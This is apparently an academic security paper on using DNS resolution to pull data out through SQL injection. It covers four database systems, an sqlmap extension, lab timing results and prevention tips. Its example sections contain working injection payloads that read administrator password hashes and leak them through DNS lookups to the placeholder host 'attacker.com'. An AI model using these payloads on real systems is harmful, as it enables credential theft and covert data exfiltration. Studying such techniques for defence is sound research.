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Abstract
This  paper  describes  an  advanced  SQL  injection  
technique where DNS resolution process is exploited for  
retrieval of malicious SQL query results. Resulting DNS  
requests  are intercepted  by  attackers  themselves  at  the  
controlled remote name server extracting valuable data.  
Open  source  SQL  injection  tool  sqlmap  [1] has  been  
adjusted to automate this task. With  modifications done,  
attackers are able to use this technique for fast and low-
profile  data  retrieval,  especially  in  cases  where  other  
standard ones fail.
1 Introduction
Exfiltration  is  a  military  term for  removal  of  assets 
from within enemy territory by covert means. It now has 
an  excellent  modern  usage  in  computing,  meaning  the 
illicit extraction of data from a system. The most covert 
data extraction  method is considered  to be the Domain 
Name  Server  (DNS)  exfiltration  [2].  This  method  can 
even  be  used  on  systems  without  a  public  network 
connection by resolving domain name queries outside the 
perimeter of trusted hosts through a series of internal and 
external name servers.
DNS is a relatively simple protocol.  Both the query 
made by a  DNS client  and  the  corresponding  response 
provided  by  a  DNS  server  use  the  same  basic  DNS 
message  format.  With  the  exception  of  zone  transfers, 
which use TCP for the sake of reliability, DNS messages 
are  encapsulated  within  a  UDP datagram.  To  someone 
monitoring a machine with a tool like Wireshark  [3],  a 
covert channel implemented over DNS would look like a 
series of little blips that flash in and out of existence [4].
The act of relaying DNS queries from secure systems 
to arbitrary internet-based name servers forms the basis of 
this  uncontrolled data  channel.  Even if  we assume that 
connections  to  public  networks  are  not  allowed,  if  the 
target host is able to resolve arbitrary domain names, data 
exfiltration is possible via forwarded DNS queries [5].
When other faster SQL injection (SQLi) data retrieval 
techniques  fail,  data  is  usually  retrieved  in  bit-by-bit 
manner,  which  is  very  noisy1 and  time  consuming 
process.  Thus,  attackers  will  typically  need  tens  of 
thousands of requests to retrieve content of a regular sized 
1Noisy in means of both traffic and system resources used by the 
vulnerable web server
table.  What  is  going  to  be  described  is  the  technique 
where  attackers  can  retrieve  results  for  malicious  SQL 
queries  (e.g.  administrator  password)  by  provoking 
specially crafted DNS requests from vulnerable Database 
Management  System (DBMS) and intercepting those at 
the other end, transferring dozens of resulting characters 
per single iteration.
2 Technique classification
Depending  on  the  transport  channel  used  for  data 
retrieval,  SQLi  techniques  can  be  divided  into  three 
independent  classes:  inband,  inference  and  out-of-band 
[6][7].
Inband  techniques  use  existing  channel  between 
attackers and a vulnerable web application to extract data. 
Usually that channel is the standard web server response. 
It's  member  union  technique2 uses  existing  web  page 
output,  while  error-based  technique  uses  provoked 
specific DBMS error messages, both carrying results for 
the executed malicious SQL query.
Inference  techniques  extract  malicious  SQL  query 
results  in  a  bit-by-bit  manner,  never  transferring  actual 
data.  Rather,  a  difference  in  the  way  an  application 
behaves allows attackers to infer the value of the data. As 
the  core  of  inference  is  a  question  [8],  it  consists  of 
carrying  out  a  series  of  boolean  queries  to  the  server, 
observing and finally deducing the meaning of received 
answers. Depending upon the observed characteristics, it's 
members are called boolean-based blind and time-based 
technique.  In  boolean-based  blind  technique  visible 
changes  inside  web  server  response  are  used  for 
distinguishing  answers  for  the  given  logical  questions, 
while  in  time-based  technique3 changes  in  web  server 
response times are observed4.
Out-of-band  (OOB)  techniques,  contrary  to  inband 
ones,  use  alternative  transport  channel(s)  for  data 
retrieval,  like  Hypertext  Transfer  Protocol  (HTTP)  or 
DNS  resolution.  Exploitation  using  OOB  techniques 
becomes  interesting  when  detailed  error  messages  are 
disabled,  results  are  being limited or  filtered,  outbound 
2Included full and partial union techniques distinguished by the number 
of resulting rows contained in web server response
3Also included a stacked-queries technique retrieving results in same 
manner
4For example, delayed response for True and regular response for False
filter rules are lax, inference methods look like the only 
option and/or when reducing the number of queries is of 
utter importance  [9]. For example, in HTTP based OOB 
technique SQL query result is becoming a part of HTTP 
request (e.g. GET parameter value) toward HTTP server 
controlled by attackers having access to the log files. This 
class  of  techniques  is  not  as  much  widely  used  in  the 
mainstream as  others,  mostly because  of  complexity of 
required  setup,  but  using  those  many  obstacles  could 
potentially be overcome (e.g. avoiding undesired database 
writes and huge speed improvement of time-based SQLi 
on INSERT/UPDATE vulnerable statements).
3 DNS resolution
When a client needs to look up a network name used 
inside a program, it  queries  DNS servers.  DNS queries 
resolve in a number of different ways:
• A client can answer a query locally using cached 
information if it was already obtained previously 
with an identical query.
• DNS server can use its own cache and/or zone 
record  information  to  answer  the  query  –  this 
process is known as iterative.
• DNS server can also forward the query to other 
DNS servers on behalf of the requesting client to 
fully  resolve  the  name,  then  send  the  answer 
back  to  the  client  –  this  process  is  known  as 
recursive [10].
For example,  consider  usage of recursion process  to 
resolve the name test.example.com. It occurs when a DNS 
server  and a client  are first  started and have no locally 
cached  information  that  could  be  used  to  resolve  that 
name query. Also, it's assumed that the name queried by 
the client is for a domain name of which the server has no 
local knowledge, based on its configured zones.
First,  default  DNS  server  parses  the  full  name  and 
determines that it needs the location of the server that is 
authoritative for the Top-Level Domain (TLD) – in this 
case com. It then uses an iterative (nonrecursive) query to 
that  server  to  obtain  a  referral  for  the  example.com 
domain.
After it's address has been retrieved, referred server is 
contacted – which is actually a registered name server for 
the example.com domain. As it contains the queried name 
as part of its configured zones, it responds authoritatively 
back to the original server that initiated the process with 
the resulting IP address.
When the original DNS server  receives the response 
indicating that  an authoritative answer was obtained for 
the requested query, it forwards this answer back to the 
client and the recursive query process ends [11]. This type 
of resolution is typically initiated by the DNS server that 
attempts to resolve a recursive name query for the DNS 
client and is sometimes being referred to as "walking the 
tree" [12].
4 Provoking DNS requests
Prerequisite for a successful DNS exfiltration of data 
from a vulnerable database is the availability of DBMS 
subroutines  that  directly  or  indirectly  provoke  DNS 
resolution  process.  Those  kind  of  subroutines  are  then 
used  by  attackers  in  SQLi  vectors.  Any  function  that 
accepts network address is most probably exploitable for 
this kind of attack.
4.1 Microsoft SQL Server
An  extended  stored  procedure  is  a  dynamic  link 
library that runs directly in the address space of Microsoft 
SQL Server (MsSQL). There are couple of undocumented 
extended stored procedures that can be found particularly 
useful for this paper's purpose [13].
Attackers  can exploit  any of  the following extended 
stored procedures to provoke DNS address resolution by 
using Microsoft Windows Universal Naming Convention 
(UNC) file and directory path format.  The UNC syntax 
for Windows systems has the generic form:
\\ComputerName\SharedFolder\Resource
By using  custom crafted  address  as  a  value  for  the 
field  ComputerName attackers are able to provoke DNS 
requests.
Figure 1: Recursive DNS resolution
4.1.1 master..xp_dirtree
Extended stored procedure master..xp_dirtree() is used 
to get a list of all folders and their subfolders inside the 
given folder:
master..xp_dirtree '<dirpath>'
For  example,  to  get  a  list  of  all  folders  and  their 
subfolders inside the C:\Windows run: 
EXEC master..xp_dirtree 'C:\Windows';
4.1.2 master..xp_fileexist 
Extended  stored  procedure  master..xp_fileexist()  is 
used to determine whether a particular file exists on the 
disk:
xp_fileexist '<filepath>'
For example, to check whether the file  boot.ini exists 
on disk C: run: 
EXEC master..xp_fileexist 'C:\boot.ini';
4.1.3 master..xp_subdirs 
Extended  stored  procedure  master..xp_subdirs()  is 
used to get a list of folders inside the given folder5:
master..xp_subdirs '<dirpath>'
For example, to get a list of all folders with depth 1 
inside the C:\Windows folder run: 
EXEC master..xp_subdirs 'C:\Windows';
4.1.4 Example
What  follows  is  the  example  where  administrator's 
(sa) password  hash  is  being  pushed  through  DNS 
resolution  mechanism  by  usage  of  MsSQL's  extended 
stored procedure master..xp_dirtree()6:
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1 
master.dbo.fn_varbintohexstr(password_hash) 
FROM sys.sql_logins WHERE name='sa')
+'.attacker.com';
EXEC('master..xp_dirtree 
"\\'+@host+'\foobar$"');
This precalculation form is used because the extended 
stored  procedures  don't  accept  subqueries  as  given 
parameter values. Hence the usage of temporary variable 
for storing results of SQL query.
5In comparison with master..xp_dirtree(), master..xp_subdirs() returns 
only those directories with depth 1
6Other described MsSQL's extended stored procedures can be used 
exactly the same way
4.2 Oracle
Oracle supplies bundle of PL/SQL packages with it's 
Oracle Database Server to extend database functionality. 
Couple of these are especially made for network access 
making  them  specially  interesting  for  this  paper's 
purpose7.
4.2.1 UTL_INADDR.GET_HOST_ADDRESS
Package  UTL_INADDR provides  procedures  for 
internet addressing support – like retrieving  host names 
and  IP  addresses  of  local  and  remote  hosts.  Member 
function  GET_HOST_ADDRESS() retrieves  the  IP 
address of the specified host:
UTL_INADDR.GET_HOST_ADDRESS('<host>')
For  example,  to  get  the  IP  address  of  host 
test.example.com run:
SELECT 
UTL_INADDR.GET_HOST_ADDRESS('test.example.c
om');
4.2.2 UTL_HTTP.REQUEST
Package UTL_HTTP makes HTTP callouts from SQL 
and  PL/SQL.  It's  procedure  REQUEST() returns  up  to 
first 2000 bytes of data retrieved from the given address:
UTL_HTTP.REQUEST('<url>')
For example, to get the first 2000 bytes of data from a 
page located at http://test.example.com/index.php run:
SELECT 
UTL_HTTP.REQUEST('http://test.example.com/i
ndex.php') FROM DUAL;
4.2.3 HTTPURITYPE.GETCLOB
Instance  method  GETCLOB() of  class 
HTTPURITYPE returns  the  Character  Large  Object 
(CLOB) retrieved from the given address8:
HTTPURITYPE('<url>').GETCLOB()
For  example,  to  start  content  retrieval  from  a  page 
located at http://test.example.com/index.php run:
SELECT 
HTTPURITYPE('http://test.example.com/index.
php').GETCLOB() FROM DUAL;
7Oracle is only DBMS which doesn't need UNC file path formatting for 
provoking DNS requests, making attacks usable on both Windows and 
Linux back-end platforms
8There are also other similar instance methods of class HTTPURITYPE 
that can be used for this paper's purpose (e.g. GETBLOB(), 
GETCONTENTTYPE() and GETXML()) [14]
4.2.4 DBMS_LDAP.INIT
Package DBMS_LDAP enables PL/SQL programmers 
to  access  data  from  Lightweight  Directory  Access 
Protocol (LDAP) servers. It's INIT() procedure is used to 
initialize a session with the LDAP server:
DBMS_LDAP.INIT(('<host>',<port>)
For example, to initialize a connection with the host 
test.example.com run:
SELECT 
DBMS_LDAP.INIT(('test.example.com',80) FROM 
DUAL;
Attackers  can  use  any  of  mentioned  Oracle 
subroutines to provoke DNS requests. However, starting 
with Oracle 11g, subroutines which could cause network 
access  are  restricted,  except  the  DBMS_LDAP.INIT() 
[15][16].
4.2.5 Example
What  follows  is  the  example  where  system 
administrator's  (SYS)  password  hash  is  being  pushed 
through DNS resolution mechanism by usage of Oracle's 
procedure DBMS_LDAP.INIT()9:
SELECT DBMS_LDAP.INIT((SELECT password 
FROM SYS.USER$ WHERE 
name='SYS')||'.attacker.com',80) FROM DUAL;
4.3 MySQL
4.3.1 LOAD_FILE
MySQL's  function  LOAD_FILE()  reads  the  file 
content and returns it as a string:
LOAD_FILE('<filepath>')
For  example,  to  get  the  content  of  a  file  located  at 
C:\Windows\system.ini run10: 
SELECT 
LOAD_FILE('C:\\Windows\\system.ini');
4.3.2 Example
What  follows  is  the  example  where  system 
administrator's  (root)  password  hash  is  being  pushed 
through DNS resolution mechanism by usage of MySQL's 
function LOAD_FILE():
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT 
password FROM mysql.user WHERE user='root' 
LIMIT 1),'.attacker.com\\foobar'));
9Other described Oracle's procedures can be used exactly the same way 
if the execution rights haven't been revoked
10Backslash character (\) has to be escaped as it has the special meaning 
in MySQL
4.4 PostgreSQL
4.4.1 COPY
PostgreSQL's statement COPY copies data between a 
filesystem files and a table:
COPY <table>(<column>,...) FROM '<path>'
For example, to copy the content from a file located at 
C:\Windows\Temp\users.txt to  a  table  named  users 
containing single column names run11:
COPY users(names) FROM 
'C:\\Windows\\Temp\\users.txt'
4.4.2 Example
What  follows  is  the  example  where  system 
administrator's (postgres) password hash is being pushed 
through  DNS  resolution  mechanism  by  usage  of  a 
PostgreSQL's statement COPY:
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION 
temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd 
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content) 
FROM E\'\\\\\\\\'||query_result||
E'.attacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
This  precalculation  form  is  used  because  the  SQL 
statement  COPY  doesn't  accept  subqueries.  Also,  in 
PostgreSQL variables have to be explicitly declared and 
used inside the subroutine scope (function or procedure). 
Hence the usage of user-defined stored function.
5 Implementation
As mentioned,  SQL injection  tool  sqlmap  has  been 
chosen, mostly because author of this paper is also one of 
it's developers, and upgraded to support DNS exfiltration. 
New command line option  --dns-domain has been added 
11Backslash character (\) has to be escaped as it has the special meaning 
in PostgreSQL
as  a  minimal  requirement  for  the  new  program's 
workflow.  With  it  user  is  able  to  turn  on  the  DNS 
exfiltration support and is informing sqlmap that the all 
provoked  DNS resolution  requests  should  point  toward 
the given domain (e.g. --dns-domain=attacker.com).
Domain's  name  server  entry  (e.g.  ns1.attacker.com) 
has to contain the IP address of a machine running the 
sqlmap instance.  From there,  sqlmap is  being  run as  a 
fake name server providing valid (but dummy) responses 
for  the  provoked  incoming  DNS  resolution  requests. 
Dummy  resolution  response  is  being  served  just  to 
unblock the waiting web server instance, without caring 
for the results, as program is not processing the web page 
content itself.
For  each  item  being  dumped,  sqlmap  is  sending  a 
crafted  SQLi  DNS  exfiltration  vector  inside  a  normal 
HTTP request, while in background serving and logging 
all incoming DNS requests. As each malicious SQL query 
result is being enclosed with unique and randomly chosen 
prefix  and suffix  strings,  it's  not  difficult  to distinguish 
which DNS resolution request  comes from which SQLi 
DNS  exfiltration  vector.  Also,  with  those  random 
enclosings  any  possible  DNS  caching  mechanism  is 
cancelled,  practically  forcing  required  recursive  DNS 
resolution.
Support  for  DBMSes  MsSQL,  Oracle,  MySQL  and 
PostgreSQL  has  been  fully  implemented.  But,  as 
mentioned  earlier,  only  Oracle  is  able  to  support  the 
attack on both Windows and Linux back-end platforms, 
as others require support for handling of Windows UNC 
file format paths.
During  the  sqlmap  run,  union  and  error-based 
techniques have the highest priority, primary because of 
their speed and lack of special requirements. Hence, only 
when slow inference techniques are available and option 
--dns-domain has been explicitly set by the user, sqlmap 
will turn on the support for DNS exfiltration.
Each  resulting  DNS  resolution  request  is  being 
encoded to a hexadecimal form to comply with RFC 1034 
[17], a (de-facto) standard for DNS domain names. That 
way all eventual non-word characters are being preserved. 
Also,  hexadecimal  representation  of  longer  SQL query 
results is  being split  into parts.  That  has to be done as 
each  node's label   (e.g.  .example.)  inside a full  domain 
name is limited to 63 characters in length.
6 Experimental setup and results
For  experimental  purposes  three  machines  were 
configured and used:
1) Attacker (172.16.138.1) – physical machine with 
Ubuntu  12.04  LTS  64-bit  OS  running  latest 
sqlmap v1.0-dev (r5100)12
2) Web Server (172.16.138.129) – virtual machine 
with  Windows  XP  32-bit  SP1  OS  running  a 
XAMPP  1.7.3  instance  containing  deliberately 
SQLi vulnerable MySQL/PHP web application
3) DNS Server (172.16.138.130) – virtual machine 
with CentOS 6.2 64-bit OS running a BIND
For  virtual  environment  VMware  Workstation  8.0.2 
has  been  used.  All  tests  were  conducted  inside  a local 
virtual network (172.16.138.0/24).  Attacker machine has 
been used to conduct attacks against the vulnerable  Web 
Server machine.  DNS Server machine has been used to 
handle DNS resolution requests for attacker.com domain 
coming from  Web Server machine and forward them to 
Attacker machine as it's registered name server.
All sqlmap supported techniques were tested, together 
with  the newly implemented DNS exfiltration. Number 
of HTTP requests and time spent were measured, where 
the  content  of  the  system  table  information_schema.  
COLLATIONS was being dumped (around 4KB in size).
Table 1. Speed comparison of SQLi techniques
Method # of requests Time (sec)
Boolean-based blind 29,212 214.04
Time-based (1 sec) 32,716 17,720.51
Error-based 777 9.02
Union (full/partial) 3/136 0.70/2.50
DNS exfiltration 1,409 35.31
12DNS exfiltration support is officially available in sqlmap development 
version (v1.0-dev) starting with r5086 [1]
Figure 2: DNS exfiltration in SQLi attack
7 Discussion
From results given in Table  1 it can be seen that the 
inband  techniques  (union  and  error-based)  were  the 
fastest  ones,  while  inference  techniques  (boolean-based 
blind and time-based) were the slowest. DNS exfiltration 
was, as expected, slower than the slowest inband (error-
based)  while  faster  than  the  fastest  inference  technique 
(boolean-based blind). Time-based technique was clearly 
too slow13.
In real  life scenarios all techniques would inherently 
experience additional delay per each request  because of 
connection latency and time needed for loading of normal 
sized pages. In used SQLi vulnerable page a small table 
has  been  returned  making  connection  reads  extremely 
fast.  Also,  in  real  life  scenarios  unwanted  connection 
latency  would just  introduce  a  need  for  a  higher  time-
delay14 value  in  time-based  technique  making  dumping 
process even more slower for those kind of cases.
There  is  also  a  fact  that  in  real  life  scenario  DNS 
exfiltration  technique  would  get  an  additional  delay 
introduced with usage of non-local network based DNS 
servers. Nevertheless, difference between it and inference 
techniques would stay at considerable ratio because later 
will need more time to retrieve the same data because of 
inevitable higher number of requests.
All in all, numbers for DNS exfiltration technique look 
quite  promising,  making  it  a  perfect  alternative  for 
inference methods.
13That's the primary reason why majority of attackers just skip cases 
where that's the only usable technique
14To properly distinguish delayed and regular response times
8 Prevention tips
To avoid attacks described in this paper prevention of 
SQLi  flaws  must  have  the  highest  priority.  Usage  of 
prepared  statements15 is  considered  to  be  the  safest 
precaution [18]. Prepared statements ensure that attackers 
are not able to change the intent of a query, even if other 
SQL commands are being inserted [19].
Various sanitization mechanisms like  magic_quotes() 
and addslashes() can't completely prevent the presence or 
exploitation of a SQLi vulnerability, as certain techniques 
used in conjunction with environmental conditions could 
allow  attackers  to  exploit  the  vulnerability  [20][21]. 
Instead,  if  prepared  statements  are  not  used,  it's 
recommended to use input validation with bad input being 
rejected, rather than escaped or modified [22].
Administrator  should  always  be  prepared  for  the 
unauthorized  access  to  the  underlying  database.  Good 
counter-measure is the restriction of all database access to 
the least  privilege.  Thus, any given privilege should be 
granted  to  the  least  amount  of  code  necessary  for  the 
shortest  duration of time that  is  required to get  the job 
done [23]. Following that principle, users must be able to 
access  only  the  information  and  resources  that  are 
absolutely necessary.
As the last step, for successful mitigation of eventual 
DNS exfiltration attacks, administrator has to make sure 
that the execution of all unnecessary system subroutines is 
being constrained. If everything fails, attackers mustn't be 
able to run those that could provoke DNS requests.
There  has  been  some  work  in  field  of  detecting 
malicious activities in DNS traffic  [25][26],  but  mostly 
because  of   lack of practical  and mainstream solutions, 
those won't be specially mentioned here.
9 Conclusion
In this paper, it has been shown how attackers can use 
DNS exfiltration technique to considerably speed up the 
data retrieval  when only relatively slow inference SQLi 
techniques are usable. Also, number of required requests 
toward  vulnerable  web  server  is  drastically  reduced 
making it less noisy.
Due  to  a  requirement  for  controlling  of  a  domain's 
name  server,  it  probably  won't  be  used  by  majority  of 
attackers. From implementation point of view everything 
was straightforward, hence it's practical value is not to be 
ignored.  Implemented  support  inside  a  sqlmap  should 
make it publicly available to all for further research.
15Also referred to as parameterized queries
Figure 3: Traffic capture of sqlmap run with DNS exfiltration
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